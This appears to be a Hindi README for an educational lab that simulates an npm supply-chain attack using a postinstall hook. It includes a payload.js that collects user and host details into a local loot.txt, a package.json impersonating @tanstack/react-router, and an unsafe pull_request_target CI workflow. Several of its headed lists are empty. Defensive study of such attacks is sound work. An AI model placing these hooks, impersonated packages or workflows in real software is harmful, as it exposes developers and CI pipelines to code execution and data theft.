
npm आपूर्ति श्रृंखला हमलों, CI/CD दुरुपयोग, और CVE-2026-45321 के माध्यम से इंस्टॉल-टाइम कोड निष्पादन का अनुकरण करने वाला शैक्षिक प्रयोगशाला। निर्भरता समझौता और लाइफसाइकिल हुक शोषण को समझने के लिए व्यावहारिक रक्षात्मक सुरक्षा अनुसंधान।
npm सप्लाई चेन अटैक, CI/CD दुरुपयोग और इंस्टॉल-टाइम कोड निष्पादन को समझने के लिए शैक्षिक प्रयोगशाला
यह प्रोजेक्ट केवल निम्नलिखित उद्देश्यों के लिए बनाया गया है:
इस प्रोजेक्ट का उपयोग निम्नलिखित के लिए न करें:
यह प्रयोगशाला निम्नलिखित घटनाओं की मूल अवधारणा का अनुकरण करती है:
सिमुलेशन स्थानीय और सुरक्षित रूप से किया जाता है, बिना:
lab/
├── fake-repo/ # लक्ष्य रिपॉजिटरी का सिमुलेशन
├── attacker-package/ # दुर्भावनापूर्ण पैकेज का सिमुलेशन
└── victim-project/ # पीड़ित का सिमुलेशन
हमलावर पैकेज
↓
npm install
↓
postinstall स्क्रिप्ट चलती है
↓
payload.js स्वचालित रूप से निष्पादित होता है
↓
पीड़ित इंस्टॉल-टाइम निष्पादन से प्रभावित होता है
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
परिणाम:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
यदि सफल होता है, तो निम्नलिखित दिखाई देगा:
=== MALICIOUS PAYLOAD EXECUTED ===
और फ़ाइल:
loot.txt
स्वचालित रूप से बन जाएगी।
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
यह प्रोजेक्ट निम्नलिखित को समझने के लिए भी उपयोग किया जा सकता है:
वर्कफ़्लो का उदाहरण:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| प्रयोगशाला सिमुलेशन | वास्तविक दुनिया |
|---|---|
| attacker-package | समझौता किया गया TanStack पैकेज |
| payload.js | दुर्भावनापूर्ण इंस्टॉलर |
यह प्रयोगशाला निम्नलिखित के बारे में जागरूकता बढ़ाने के लिए बनाई गई है:
| postinstall | जीवनचक्र हुक दुरुपयोग |
| victim-project | पीड़ित डेवलपर/CI |
| fake-repo | GitHub Actions पाइपलाइन |